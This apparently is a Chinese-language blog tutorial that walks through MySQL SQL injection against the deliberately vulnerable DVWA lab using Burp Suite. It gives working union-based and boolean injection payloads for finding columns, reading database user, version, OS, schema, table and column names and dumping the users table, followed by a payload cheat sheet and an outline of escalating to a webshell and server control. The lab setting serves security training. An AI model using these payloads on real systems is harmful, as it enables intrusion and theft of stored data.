今天主要針對mysql常用注入語句進行測試。
測試環境與工具:
測試平臺:DVWA,下載地址:http://down.51cto.com/data/875088,也可下載metaspolit-table2虛擬機,裏面已經部署好了dvwa.。
***工具:burpsuite-1.4.07下載地址:http://down.51cto.com/data/875103
首先我們介紹下DVWA和Burpsuite,DVWA這是一個php+mysql平臺構建的預置web常見漏洞的***練習平臺。能夠幫助web應用安全研究人員很好了解web漏洞。Burpsuite是一款功能強大的web***測試工具。
SQL注入漏洞在OWASP TOP 10威脅中,一直排名第一,安全威脅可見一斑。SQL注入***測試過程中,針對不同的數據庫平臺,注入語句選擇也不同,本篇筆者主要測試mysql注入的常用語句以及***思路。
登錄訪問DVWA,默認用戶名:admin密碼:password.
登錄之後,將dvwa的安全級別調成low,low代表安全級別最低,存在較容易測試的漏洞。
1、找到SQl Injection 選項,測試是否存在注入點,這裏用戶交互的地方爲表單,這也是常見的SQL注入漏洞存在的地方。正常測試,輸入1,可以得到如下結果
當將輸入變爲“'”時,頁面提示錯誤“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,結果如圖。看到這個結果,我們可以欣慰的知道,這個表單存在着注入漏洞。
2、嘗試遍歷數據庫表,由於用戶輸入的值爲ID,因此我們習慣判斷這裏的注入類型爲數字型,因此嘗試輸入:1 or 1=1 ,看能否把數據庫表中的內容遍歷出來。可是結果如下,並沒有顯示出所有信息
於是猜測,是否後臺應用程序將此值看做了字符型,於是輸入:1'or'1'='1,結果,遍歷出了數據庫中的所有內容,如果是重要數據庫表,可能這個信息已經對於***者,有了足夠意義:如圖
1'or'1'='1
3、測試查詢信息列數。利用語句order by num
這裏我們輸入 " 1'order by 1 -- " 結果頁面正常顯示,注意-- 後面有空格。繼續測試," 1'order by 2 -- "," 1'order by 3 -- ",當輸入3是,頁面報錯。頁面錯誤信息如下,Unknown column '3' in 'order clause',由此我們判斷查詢結果值爲2列。
1'order by 1 --
1'order by 3 --
Unknown column '3' in 'order clause'
4、通過得到連接數據庫賬戶信息、數據庫名稱、數據庫版本信息。利用user(),及database(),version()等三個內置函數。
這裏嘗試注入 “1' and 1=2 union select 1,2 -- ”結果如下
1' and 1=2 union select 1,2 --
從而得出First name處顯示結果爲查詢結果第一列的值,surname處顯示結果爲查詢結果第二列的值,利用內置函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:
1' and 1=2 union select user(),database() --
連接數據庫的用戶爲root@localhost,數據庫名稱爲dvwa,進一步利用函數version(),嘗試得到版本信息,“1' and 1=2 union select version(),database() -- ”便得到了版本信息,
1' and 1=2 union select version(),database() --
5、獲得操作系統信息。
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
6、測試連接數據庫權限:
1' and ord(mid(user(),1,1))=114 --
7、查詢mysql數據庫,所有數據庫名字:這裏利用mysql默認的數據庫infromation_scehma,該數據庫存儲了Mysql所有數據庫和表的信息。
1' and 1=2 union select 1,schema_name from information_schema.schemata --
8、猜解dvwa數據庫中的表名。利用1‘ and exists(select * from 表名),此處表名猜解可以通過brupsuit掛字典猜解。這裏測試的結果,表名爲users,burpsuite如何自動注入,在稍後文章進一步介紹。這裏猜解表名,在真實***測試環境中,***者往往關心存儲管理員用戶與密碼信息的表。
1' and exists(select * from users) --
9、猜解字段名:1' and exists(select 表名 from users) -- ,這裏測試的字段名有first_name,last_name
1' and exists(select first_name from users) --
ID: 1' and exists(select last_name from users) --
10、爆出數據庫中字段的內容 1' and 1=2 union select first_name,last_name from users -- ,這裏其實如果是存放管理員賬戶的表,那麼用戶名,密碼信息字段就可以爆出來了。
以上是筆者根據dvwa平臺sql injection漏洞對mysql常用語句所做的測試。這裏我們可以大致總結***的一般思路:
1、尋找注入點,可以通過web掃描工具實現
2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。
3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)
4、可以通過獲得的用戶信息,尋找後臺登錄。
5、利用後臺或瞭解的進一步信息,上傳webshell或向數據庫寫入一句話***,以進一步提權,直到拿到服務器權限。
今天筆者只在dvwa平臺現有環境下,簡單測試了mysql幾個常用注入語句:
1' order by 2 -- /*用來猜解查詢信息的列數
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函數獲得數據庫信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*獲得操作系統信息1' and ord(mid(user(),1,1))=114 -- /*測試連接數據庫用戶權限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有數據庫名稱1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段內容
關於mysql注入測試,就簡單介紹到這裏,如有錯誤,歡迎指正。關於brupsuite如何自動注入,將在其他篇章介紹。